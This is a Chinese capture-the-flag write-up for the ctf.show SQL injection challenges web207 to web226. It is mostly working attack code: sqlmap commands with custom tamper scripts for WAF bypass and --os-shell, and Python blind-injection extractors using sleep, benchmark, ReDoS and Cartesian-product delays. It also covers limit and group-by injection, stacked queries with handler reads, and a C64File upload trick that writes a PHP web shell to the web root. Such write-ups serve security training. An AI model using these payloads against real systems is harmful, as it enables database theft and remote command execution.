本题,过滤了空格,可以使用tamper文件夹下的space2comment.py文件

space2comment.py 用/**/代替空格
sqlmap -u "http://e70b117d-228c-4554-8d64-dff6c93d2f25.challenge.ctf.show/api/index.php" \
       --method="PUT" \
       --data="id=1" \
       --referer="ctf.show" \
       --headers="Content-Type: text/plain" \
       --cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
       --safe-url="http://e70b117d-228c-4554-8d64-dff6c93d2f25.challenge.ctf.show/api/getToken.php" \
       --safe-freq=1 \
       --tamper=space2comment \
       -D ctfshow_web \
       -T ctfshow_flaxca \
       -C flagvc \
       --dump

web208

返回逻辑

//对传入的参数进行了过滤
  $id = str_replace('select', '', $id);
  function waf($str){
   return preg_match('/ /', $str);
  }

这里只是过滤了小写的select,而sqlmap跑的payload一般都是大写的SELECT,所以继续用上一题我们写的tamper脚本即可

sqlmap -u "http://b459b3b0-9632-4e4b-91a8-86aee0dd49c8.challenge.ctf.show/api/index.php" \
       --method="PUT" \
       --data="id=1" \
       --referer="ctf.show" \
       --headers="Content-Type: text/plain" \
       --cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
       --safe-url="http://b459b3b0-9632-4e4b-91a8-86aee0dd49c8.challenge.ctf.show/api/getToken.php" \
       --safe-freq=1 \
       --tamper=space2comment \
       -D ctfshow_web \
       -T ctfshow_flaxcac \
       -C flagvca \
       --dump

web209

//对传入的参数进行了过滤  
  function waf($str){  
   //TODO 未完工  
   return preg_match('/ |\*|\=/', $str);  
  }

难点:多过滤了*=符号
解决:修改脚本,用%09绕过
/usr/share/sqlmap/tamper/下,复制一个space2comment.py,把名字改成web209.py
修改为:

#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Replaces (MySQL) instances of space character (' ') with comments '/**_**/'

    Tested against:
        * MySQL 5.0 and 5.5

    Notes:
        * Useful to bypass weak and bespoke web application firewalls

    >>> tamper('SELECT id FROM users')
    'SELECT/**_**/id/**_**/FROM/**_**/users'
    """

    retVal = payload

    if payload:
        retVal = ""
        quote, doublequote, firstspace = False, False, False

        for i in xrange(len(payload)):
            if not firstspace:
                if payload[i].isspace():
                    firstspace = True
                    retVal += chr(0x9)
                    continue

            elif payload[i] == '\'':
                quote = not quote

            elif payload[i] == '"':
                doublequote = not doublequote
                
            elif payload[i] == '=':
                retVal += chr(0x9) + 'like' + chr(0x9)
                continue
                
            elif payload[i] == " " and not doublequote and not quote:
                retVal += chr(0x9)
                continue

            retVal += payload[i]

    return retVal
sqlmap -u "http://b3094a3f-9148-4f3b-b179-7d2592876f7f.challenge.ctf.show/api/index.php" \
       --method="PUT" \
       --data="id=1" \
       --referer="ctf.show" \
       --headers="Content-Type: text/plain" \
       --cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
       --safe-url="http://b3094a3f-9148-4f3b-b179-7d2592876f7f.challenge.ctf.show/api/getToken.php" \
       --safe-freq=1 \
       --tamper=web209 \
       -D ctfshow_web \
       -T ctfshow_flav \
       -C ctfshow_flagx \
       --dump

web210

//对查询字符进行解密
  function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
  }
#!/usr/bin/env python

"""
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import base64

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):

    retVal = payload

    if payload:
        retVal = retVal.encode()
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal[::-1]
        retVal = base64.b64encode(retVal)
        retVal = retVal.decode()

    return retVal

sqlmap -u "http://a9c0dfa1-f720-4211-b71c-8a25cdd740c4.challenge.ctf.show/api/index.php" \
       --method="PUT" \
       --data="id=1" \
       --referer="ctf.show" \
       --headers="Content-Type: text/plain" \
       --cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
       --safe-url="http://a9c0dfa1-f720-4211-b71c-8a25cdd740c4.challenge.ctf.show/api/getToken.php" \
       --safe-freq=1 \
       --tamper=web210 \
       -D ctfshow_web \
       -T ctfshow_flavi \
       -C ctfshow_flagxx \
       --dump

web211

//对查询字符进行解密  
  function decode($id){  
    return strrev(base64_decode(strrev(base64_decode($id))));  
  }  
function waf($str){  
    return preg_match('/ /', $str);  
}
from lib.core.enums import PRIORITY  
from lib.core.common import singleTimeWarnMessage  
import base64  
  
__priority__ = PRIORITY.LOW  
  
def dependencies():  
    singleTimeWarnMessage("别套了别套了")  
  
def tamper(payload, **kwargs):  
  
    retVal = payload  
  
    retVal = retVal.replace(" ", "/**/")  
    retVal = retVal.encode()  
    retVal = retVal[::-1]  
    retVal = base64.b64encode(retVal)  
    retVal = retVal[::-1]  
    retVal = base64.b64encode(retVal)  
    retVal = retVal.decode()  
  
    return retVal
sqlmap -u "http://970af116-d834-40ca-9ed9-822df1dd71a0.challenge.ctf.show/api/index.php" \
       --method="PUT" \
       --data="id=1" \
       --referer="ctf.show" \
       --headers="Content-Type: text/plain" \
       --cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
       --safe-url="http://970af116-d834-40ca-9ed9-822df1dd71a0.challenge.ctf.show/api/getToken.php" \
       --safe-freq=1 \
       --tamper=web211 \
       -D ctfshow_web \
       -T ctfshow_flavia \
       -C ctfshow_flagxxa \
       --dump

web212

返回逻辑

//对查询字符进行解密  
  function decode($id){  
    return strrev(base64_decode(strrev(base64_decode($id))));  
  }  
function waf($str){  
    return preg_match('/ |\*/', $str);  
}
from lib.core.enums import PRIORITY  
from lib.core.common import singleTimeWarnMessage  
import base64  
  
__priority__ = PRIORITY.LOW  
  
def dependencies():  
    singleTimeWarnMessage("别套了别套了")  
  
def tamper(payload, **kwargs):  
    payload = bypass(payload)  
  
    retVal = payload  
    retVal = retVal.encode()  
    retVal = retVal[::-1]  
    retVal = base64.b64encode(retVal)  
    retVal = retVal[::-1]  
    retVal = base64.b64encode(retVal)  
    retVal = retVal.decode()  
  
    return retVal  
  
def bypass(payload):  
    retVal = ""  
    for i in range(len(payload)):  
        if payload[i]==" ":  
            retVal += chr(0x9)  
        else:  
            retVal += payload[i]  
    return retVal
sqlmap -u "http://2e7adb07-0116-4ab5-bbae-b6503e91dc9d.challenge.ctf.show/api/index.php" \
       --method="PUT" \
       --data="id=1" \
       --referer="ctf.show" \
       --headers="Content-Type: text/plain" \
       --cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
       --safe-url="http://2e7adb07-0116-4ab5-bbae-b6503e91dc9d.challenge.ctf.show/api/getToken.php" \
       --safe-freq=1 \
       --tamper=web212 \
       -D ctfshow_web \
       -T ctfshow_flavis \
       -C ctfshow_flagxsa \
       --dump

web213

//对查询字符进行解密  
  function decode($id){  
    return strrev(base64_decode(strrev(base64_decode($id))));  
  }  
function waf($str){  
    return preg_match('/ |\*/', $str);  
}

这题让我们使用--os-shell的方法
原理是into outfile函数将一个可以用来上传的文件写到网站的根目录下。然后一个文件是命令执行,一个是上传文件

在mysql中,由 secure_file_priv 参数来控制导入导出权限
该参数后面为null时,则表示不允许导入导出
如果是一个文件夹,则表示仅能在这个文件夹中导入导出
如果参数后面为空,也就是没有值时,则表示在任何文件夹都能导入导出

sqlmap -u "http://773e85b5-f8be-4c34-829a-33fb74146efd.challenge.ctf.show/api/index.php" \
       --method="PUT" \
       --data="id=1" \
       --referer="ctf.show" \
       --headers="Content-Type: text/plain" \
       --cookie="PHPSESSID=eqjcnpiek7hn1a0h541r3aeife; ctfshow=ae9b4d1a0268f69143d7480b6e0b2d13" \
       --safe-url="http://773e85b5-f8be-4c34-829a-33fb74146efd.challenge.ctf.show/api/getToken.php" \
       --safe-freq=1 \
       --tamper=web212 \
       --os-shell

web214

基于时间盲注

import requests  
import time  
url = 'http://9a87ab28-875c-4adf-8e9f-f0c908151984.challenge.ctf.show/api/index.php'  
str = ''  
for i in range(60):  
    min,max = 32, 128  
    while True:  
        j = min + (max-min)//2  
        if(min == j):  
            str += chr(j)  
            print(str)  
            break  
        # 爆表名  
        # payload = {  
        #     'ip': f"1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#",        #     'debug': 0        # }        # 爆列  
        payload = {  
            # 'ip': f"1 or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{j},sleep(0.5),'False')#",  
            'debug': 0  
        }  
        # 爆值  
        payload = {  
            'ip': f"1 or if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{i},1))<{j},sleep(2),'False')#",  
            'debug': 0  
        }  
        start_time = time.time()  
        r = requests.post(url=url, data=payload ,verify=False).text  
        end_time = time.time()  
        sub = end_time - start_time  
        if sub >= 2:  
            max = j  
        else:  
            min = j

web215

查询语句:用了单引号
小改一下

import requests  
import time  
url = 'http://9a87ab28-875c-4adf-8e9f-f0c908151984.challenge.ctf.show/api/index.php'  
str = ''  
for i in range(60):  
    min,max = 32, 128  
    while True:  
        j = min + (max-min)//2  
        if(min == j):  
            str += chr(j)  
            print(str)  
            break  
        # 爆表名  
        # payload = {  
        #     'ip': f"1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#",        #     'debug': 0        # }        # 爆列  
        payload = {  
            # 'ip': f"1 or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{j},sleep(0.5),'False')#",  
            'debug': 0  
        }  
        # 爆值  
        payload = {  
            'ip': f"1' or if(ascii(substr((select group_concat(flaga) from ctfshow_flagx),{i},1))<{j},sleep(2),'False')#",  
            'debug': 0  
        }  
        start_time = time.time()  
        r = requests.post(url=url, data=payload ,verify=False).text  
        end_time = time.time()  
        sub = end_time - start_time  
        if sub >= 2:  
            max = j  
        else:  
            min = j

web216

查询语句

where id = from_base64($id);
import requests  
import time  
url = 'http://cc3ae571-efb1-4d77-a6e0-a9e162dbc04f.challenge.ctf.show/api/'  
str = ''  
for i in range(60):  
    min,max = 32, 128  
    while True:  
        j = min + (max-min)//2  
        if(min == j):  
            str += chr(j)  
            print(str)  
            break  
        # 爆表名  
        # payload = {  
        #     'ip': f"1 or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.5),'False')#",        #     'debug': 0        # }        # 爆列  
        # payload = {  
            # 'ip': f"1 or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagx'),{i},1))<{j},sleep(0.5),'False')#",            # 'debug': 0        # }        # 爆值  
        payload = {  
            'ip': f"1) or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxcc),{i},1.5))<{j},sleep(1),'False')#",  
            'debug': 0  
        }  
        start_time = time.time()  
        r = requests.post(url=url, data=payload ,verify=False).text  
        end_time = time.time()  
        sub = end_time - start_time  
        if sub >= 1.5:  
            max = j  
        else:  
            min = j

web217

查询语句

where id = ($id);

返回逻辑

//屏蔽危险分子  
    function waf($str){  
        return preg_match('/sleep/i',$str);  
    }

难点:过滤了sleep
解决:内置的BENCHMARK()函数
可以测试某些特定操作的执行速度,参数可以是需要执行的次数和表达式,表达式可以是任何的标量表达式,比如返回值是标量的子查询或者函数。该函数可以很方便地测试某些特定操作的性能

import requests  
import time  
url = 'http://15c24480-c57f-4746-b4af-4bb11d0f7fc1.challenge.ctf.show/api/'  
str = ''  
for i in range(60):  
    min,max = 32, 128  
    while True:  
        j = min + (max-min)//2  
        if(min == j):  
            str += chr(j)  
            print(str)  
            break  
        # 爆表名  
        # payload = {  
        #     'ip': f"'') or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},benchmark(3000000,sha(1)),'False')#",        #     'debug': 0        # }        # 爆列  
        # payload = {  
        #     'ip': f"'') or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxccb'),{i},1))<{j},benchmark(3000000,sha(1)),'False')#",        #     'debug': 0        # }        # 爆值  
        payload = {  
            'ip': f"666) or if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxccb),{i},1))<{j},benchmark(6000000,sha(1)),'False')#",  
            'debug': 0  
        }  
        start_time = time.time()  
        r = requests.post(url=url, data=payload).text  
        end_time = time.time()  
        sub = end_time - start_time  
        if sub >= 1.5:  
            max = j  
        else:  
            min = j

web218

查询语句

where id = ($id);

返回逻辑

//屏蔽危险分子  
    function waf($str){  
        return preg_match('/sleep|benchmark/i',$str);  
    }

难点:benchmark被ban
总结:
1.sleep
2.benchmark
3.笛卡尔积
4.GET_LOCK() 加锁
5.RLIKE REGEXP正则匹配

import time  
import requests  
url = 'http://a6933245-7701-4f7c-bdb1-592f1ec2a5a9.challenge.ctf.show/api/index.php'  
flag = ''  
sleep_rep = "concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) rlike '(a.*)+(a.*)+b'"  
  
for i in range(60):  
    lenth = len(flag)  
    min,max = 32,128  
    while True:  
        j = min + (max-min)//2  
        if(min == j):  
            flag += chr(j)  
            print(flag)  
            break  
        payload = {"ip":f"'') or if(ascii(substr((select group_concat(flagaac) from ctfshow_flagxc),{i},1))<{j},{sleep_rep},'False')#"  
                   ,'debug':0}  
        try:  
            r = requests.post(url=url,data=payload,timeout=0.5)  
            min = j  
        except:  
            max = j  
        time.sleep(0.2)

解释:
利用 正则表达式 ReDoS(正则拒绝服务) 制造延迟:
rpad(1,999999,'a') → 生成一个百万字符的 'a' 字符串
concat(...) → 拼接多个长字符串
rlike '(a.*)+(a.*)+b' → 这个正则在匹配全 'a' 字符串时会指数级回溯,导致 CPU 占满、响应极慢

web219

查询语句

//屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark|rlike/i',$str);
    }

用笛卡尔积

import requests  
import time  
url='http://151589b8-69f0-4ba6-a8df-57000c885af7.challenge.ctf.show/api/index.php'  
  
flag=''  
for i in range(60):  
    lenth = len(flag)  
    min,max = 32,128  
    while True:  
        j = min + (max-min)//2  
        if(min == j):  
            flag += chr(j)  
            print(flag)  
            break  
  
        # payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"  
        # payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"        payload=f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxca),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"  
  
        data={  
            'ip':payload,  
            'debug':0  
        }  
        try:  
            r=requests.post(url=url,data=data,timeout=0.15)  
            min=j  
        except:  
            max=j  
        time.sleep(0.1)

解释:

(SELECT count(*) FROM information_schema.columns A, information_schema.columns B)

这是一个 笛卡尔积(CROSS JOIN) 
查询:information_schema.columns 通常有几千行,A × B 会产生 数百万甚至上亿行 的中间结果,即使只 count(*),数据库也要遍历所有组合 → CPU 飙升,响应慢几秒甚至超时
优点:不依赖 SLEEP()BENCHMARK() 等易被过滤的函数
绕过 WAF:纯 SELECT 查询,看起来“合法

web220

返回逻辑

//屏蔽危险分子
    function waf($str){
        return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
    }

难点:过滤了ascii和substr
解决:可以用like
继续笛卡尔积:

import requests  
import time  
url='http://151589b8-69f0-4ba6-a8df-57000c885af7.challenge.ctf.show/api/index.php'  
  
flag=''  
for i in range(60):  
    lenth = len(flag)  
    min,max = 32,128  
    while True:  
        j = min + (max-min)//2  
        if(min == j):  
            flag += chr(j)  
            print(flag)  
            break  
  
        # payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"  
        # payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagxca'),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"        payload=f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flagxca),{i},1))<{j},(SELECT count(*) FROM information_schema.columns A, information_schema.columns B),1)"  
  
        data={  
            'ip':payload,  
            'debug':0  
        }  
        try:  
            r=requests.post(url=url,data=data,timeout=0.15)  
            min=j  
        except:  
            max=j  
        time.sleep(0.1)

web221

查询语句

  //分页查询
  $sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

考点:limit注入
我们需要给 pagelimit 传参,并且根据提示只需要查到数据库名就行。

解释:

select * from tableName limit i,n
# tableName:表名
# i:为查询结果的索引值(默认从0开始),当i=0时可省略i
# n:为查询结果返回的数量
# i与n之间使用英文逗号","隔开

# limit n 等同于 limit 0,n

limit

SELECT ... 
[LIMIT ...]          -- 限制结果行数(独立子句)
[PROCEDURE ...]      -- 调用存储过程式的处理(独立子句)
[INTO ...]           -- 结果输出(如导出文件、赋值变量)
[FOR UPDATE ...]     -- 锁机制

其中into语句需要有写入shell的权限才能使用,在本题中并没有权限。
procerdure可以跟analyse函数,analyse可以有两个参数,这里有两种注入方式:

解释:
PROCEDURE ANALYSE()
这是一个 MySQL 的内置过程,通常用于分析查询结果的列结构,并提出最佳的数据类型建议。
我们执行:

SELECT * FROM users PROCEDURE ANALYSE();

返回的结果类似于这张表:

Field_name Min_value Max_value Min_length Max_length ... Optimal_fieldtype
database.users.id 1 3 1 1 ... TINYINT(1) UNSIGNED
database.users.status active active 6 6 ... ENUM('active')
database.users.age 20 22 2 2 ... TINYINT(2) UNSIGNED
在 SQL 语法中,PROCEDURE 子句允许放在 LIMIT 子句之后。这是在 LIMIT 注入点绕过语法限制的关键
执行逻辑:当数据库执行这个过程时,它会解析并执行括号内的参数。

extractvalue(xml_frag, xpath_expr) 原本用于从 XML 字符串中提取数据。
第二个参数 xpath_expr 要求是合法的 XPath 格式。如果该参数包含 XPath 语法错误(例如以特殊符号开头),MySQL 就会报错,并且在错误信息中把导致错误的字符串显示出来。
构造:
0x3a:是冒号 : 的十六进制 ASCII 码。
database():查询当前数据库名的函数(假设结果为 ctfshow)。
concat(0x3a, database()):拼接结果为 :ctfshow。
rand():这里作为 XML 片段的占位符,填什么都可以(常填 1 或 rand())。

UPDATEXML() 原本是 MySQL 用来替换 XML 文档中某部分内容的函数。

UPDATEXML(xml_document, xpath_string, new_value)

接收 3个参数(比 extractvalue 多一个):

  1. xml_document: XML 文档对象(注入时随便填,比如 1 或 rand())。
  2. xpath_string重点在这里。必须是合法的 XPath 格式路径。
  3. new_value: 用来替换的新内容(注入时随便填,比如 1)。
    如果我们给第2个参数(xpath_string)传入一个不符合 XPath 格式的字符串(例如以 ~ 或 : 开头的字符串),MySQL 就会报错。

解决:报错注入
extractvalue报错注入

/api/index.php?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1);

updatexml报错注入

/api/index.php?page=1&limit=1 procedure analyse(updatexml(rand(),concat(0x3a,database()),1),1);

web222

查询语句:

  //分页查询
  $sql = select * from ctfshow_user group by $username;

考点:group 注入

解决:
思路1:布尔盲注

import requests
import time

url='http://f08b8319-4738-4cd5-982d-73d64dfb1de8.challenge.ctf.show/api/index.php?u='

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break
        #payload=f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},username,id)"
        #payload=f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},username,id)"
        payload=f"if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},username,id)"
        r=requests.get(url=url+payload).text
        if len(r)<288:
            max=j
        else:
            min=j

解释:
group by username :会导致结果行数减少(或者报错/内容变短),响应长度较短(< 288)
group by id :会返回所有行,响应长度较长(>= 288)
if(..., username, id)
如果小于 j :执行 group by username
如果不小于 j :执行 group by id

思路2:时间盲注

import requests
import time
url='http://f08b8319-4738-4cd5-982d-73d64dfb1de8.challenge.ctf.show/api/index.php?u='

flag=''
for i in range(1,100):
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        #payload=f"1,if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{j},sleep(0.02),1)"
        #payload=f"1,if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flaga'),{i},1))<{j},sleep(0.02),1)"
        payload=f"1,if(ascii(substr((select group_concat(flagaabc) from ctfshow_flaga),{i},1))<{j},sleep(0.02),1)"
        try:
            r=requests.get(url=url+payload,timeout=0.4)
            min=j
        except:
            max=j
        time.sleep(0.2)

web223

查询语句:

  //分页查询
  $sql = select * from ctfshow_user group by $username;

返回逻辑

//TODO:很安全,不需要过滤
//用户名不能是数字

考点:group 注入

思路1:
使用ascii(%01)=1这种方式获得数字

import requests  
import time  
import urllib.parse  
url = "http://afa07794-9451-42b7-b2f0-54a2d0f8f395.challenge.ctf.show/api/index.php"  
s='abcdeftshow-{}0123456789'  
flag=''  
  
for i in range(0,10):  
    for j in range(0,10):  
       for k in s:  
          ii=f'concat(ascii("%0{i}"),ascii("%0{j}"))'  
          if k  not  in '0123456789':  
             #print(k)  
             u=url+f"?u=if(substr((select flagasabc from ctfshow_flagas),{ii},ascii('%01'))='{k}',username,'a')"  
          else:  
             u=url+f"?u=if(substr((select flagasabc from ctfshow_flagas),{ii},ascii('%01'))=ascii('%0{k}'),username,'a')"  
          r = requests.get(u)  
          if "passwordAUTO" in r.text:  
             flag+=k  
             print(flag)  
             break

解释:
1.Python 构造出字符串 concat(ascii("%01"),ascii("%02"))
2.发送给数据库执行时,ascii("%01") 变为 1ascii("%02") 变为 2
3.concat(1, 2) 变为字符串 '12'
4.在 substr 函数中,'12' 会被隐式转换为整数 12

思路2:
使用前面web185的concat(true+true,true)的方式获得数字

import requests
import time
url = 'http://90b8ab81-6a05-4ebc-ab88-62e8442c0e89.challenge.ctf.show/api/?u='
str = ''
def num2true(num):
    str = '(' + 'true%2b' * (num-1) + 'true)'
    return str
a = num2true(1)
# print(a)
for i in range(1, 60):
    min,max = 32, 128
    while True:
        j = min + (max-min)//2
        if(min == j):
            str += chr(j)
            print(str)
            break
        # 爆表名
        # payload = f"if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{num2true(i)},true))<{num2true(j)},username,true)"
        # 爆列
        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagas'),{num2true(i)},true))<{num2true(j)},username,true)"
        # 爆值
        payload = f"if(ascii(substr((select group_concat(flagasabc) from ctfshow_flagas),{num2true(i)},true))<{num2true(j)},username,true)"
        r = requests.get(url=url+payload).text
        # print(r)
        if 'passwordAUTO' in r:
            max = j
        else:
            min = j

解释:
%2b:这是加号 + 的 URL 编码
在 HTTP URL 传参中,直接写 + 会被视为空格,所以必须写成 %2b,传输到服务端解码后才会变回 +

web224

在robots.txt里发现了修改密码的页面pwdreset.php。访问发现可以直接修改admin的密码,将其修改为123
是一个文件上传

思路:into outfile写shell进去

C64File "');select 0x3c3f3d60245f4745545b315d603f3e into outfile '/var/www/html/muma.php';--+

C64File是与Commodore 64相关的文件类型,之后闭合,写入 sql 语句,0x3c3f3d60245f4745545b315d603f3e是下述的十六进制编码

<?=`$_GET[1]`?>

WEB入门——sql注入-8.png

?1=nl /flag 

解释:
源码:

<?php
	error_reporting(0);
	if ($_FILES["file"]["error"] > 0)
	{
		die("Return Code: " . $_FILES["file"]["error"] . "<br />");
	}
	if($_FILES["file"]["size"]>10*1024){
		die("文件过大: " .($_FILES["file"]["size"] / 1024) . " Kb<br />");
	}

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
	  $filename = md5(md5(rand(1,10000))).".zip";
      $filetype = (new finfo)->file($_FILES['file']['tmp_name']);
      if(preg_match("/image|png|bmap|jpg|jpeg|application|text|audio|video/i",$filetype)){
        die("file type error");
      }
	  $filepath = "upload/".$filename;
	  $sql = "INSERT INTO file(filename,filepath,filetype) VALUES ('".$filename."','".$filepath."','".$filetype."');";
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $filename);
	  $con = mysqli_connect("localhost","root","root","ctf");
		if (!$con)
		{
			die('Could not connect: ' . mysqli_error());
		}
		if (mysqli_multi_query($con, $sql)) {
			header("location:filelist.php");
		} else {
			echo "Error: " . $sql . "<br>" . mysqli_error($con);
		}
		 
		mysqli_close($con);
		
      }
    
?>

PHP 执行 $filetype = (new finfo)->file($tmp_name);
finfo通过 Magic Bytes(魔术字节/文件头) 和 指纹特征 来识别的:
PHP 的 finfo 底层直接调用了 Linux 系统著名的 libmagic 库:

读取头几个字节:
如果不认识,就接着往后读。
比对数据库:
如果文件开头是 FF D8 FF -> 它是 JPEG。
如果文件开头是 89 50 4E 47 -> 它是 PNG。
如果文件开头是 <?php -> 它是 PHP Script。
如果文件开头是 #!/bin/bash -> 它是 Shell Script。
如果文件开头是 C64File -> (根据特定规则)它是 Commodore 64 File。

问题就出在 new finfo 没有任何参数。
情况 A:正常的安全写法

$finfo = new finfo(FILEINFO_MIME_TYPE); // 强制只返回 MIME 类型
echo $finfo->file('muma.php');

返回结果:text/x-php 或者 application/octet-stream
结果:非常短,只有类型,没有废话。很难夹带私货

情况 B:题目的不安全写法(默认模式)

$finfo = new finfo(); // 默认返回详细描述
echo $finfo->file('muma.php');

返回结果:PHP script, ASCII text。
致命点:这种模式下,libmagic 会尝试给出尽可能详细的描述。

这就给了 C64File 这种攻击方式机会:
libmagic 遇到某些生僻的文件格式(比如 Commodore 64),它的描述规则定义得非常“随意”,规则可能是:"只要以 C64File 开头,就把文件第一行的内容打印出来当作描述。"
于是:底层 libmagic 匹配到 C64 规则。libmagic 按照规则,把后面的字符串也抓取进来,生成描述:C64File " union select...
PHP 拿到了这个长字符串,赋给了 $filetype。这个包含了 SQL 语句的字符串被拼接到 SQL 语句中,造成注入。

此时,$filetype 变量的值变成了:

$filetype = "C64File \"');select 0x3c... into outfile ...;--+";

代码检查:

if(preg_match("/image|png|text|.../i", $filetype)){ ... }

因为 $filetype 的开头是 C64File,且后面跟的是 SQL 语句,整个字符串里没有出现 text、image、php 等关键词。
结果: 成功绕过 die()。

web225

查询语句

//分页查询  
  $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

返回逻辑

//师傅说过滤的越多越好  
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){  
    die(json_encode($ret));  
  }

考点:堆叠注入

分析:写 $username 就可以,但在某些情况下,PHP 可能会把变量名后面的字符误认为是变量名的一部分。使用 {} 可以消除这种歧义
handler 的操作流程像操作文件一样:打开 -> 读取 -> 关闭
第一步:打开表 (OPEN)

handler 表名 open;
handler 表名 open AS 别名; -- 如果表名太长或被过滤,可以用别名

这相当于告诉数据库:“我要开始操作这张表了,给我一个句柄。”
注意:这步操作不会返回任何数据。
第二步:读取数据 (READ)
这是获取数据的关键步骤,有几种方式:
方式 A:傻瓜式读取
不需要知道索引名,直接按物理存储顺序读。

handler 表名 read first; -- 读取第一行数据
handler 表名 read next;  -- 读取下一行数据

方式 B:通过索引读取
如果你知道表中有索引(比如 PRIMARY 或其他索引名),可以指定索引来读。

handler 表名 read 索引名 first; 
handler 表名 read 索引名 next;
handler 表名 read 索引名 = ('值'); -- 查找特定值

第三步:关闭表 (CLOSE)

handler 表名 CLOSE;

虽然不关闭通常也没事(连接断开会自动关闭),但好习惯是关掉。

解决:handler
查数据库、表:

?username=0';show tables;#

返回:

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"Tables_in_ctfshow_web":"ctfshow_flagasa"},{"Tables_in_ctfshow_web":"ctfshow_user"}]}

查列:

?username=0';show columns from ctfshow_flagasa;#

返回:

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"Field":"id","Type":"int(11)","Null":"NO","Key":"PRI","Default":null,"Extra":"auto_increment"},{"Field":"flagas","Type":"varchar(255)","Null":"YES","Key":"","Default":null,"Extra":""},{"Field":"info","Type":"varchar(255)","Null":"YES","Key":"","Default":null,"Extra":""}]}

查行:

?username=0';handler ctfshow_flagasa open;handler ctfshow_flagasa read first;

web226

查询语句

//分页查询  
  $sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

返回逻辑

  //师傅说过滤的越多越好
  if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
    die(json_encode($ret));
  }

难点:过滤了show(
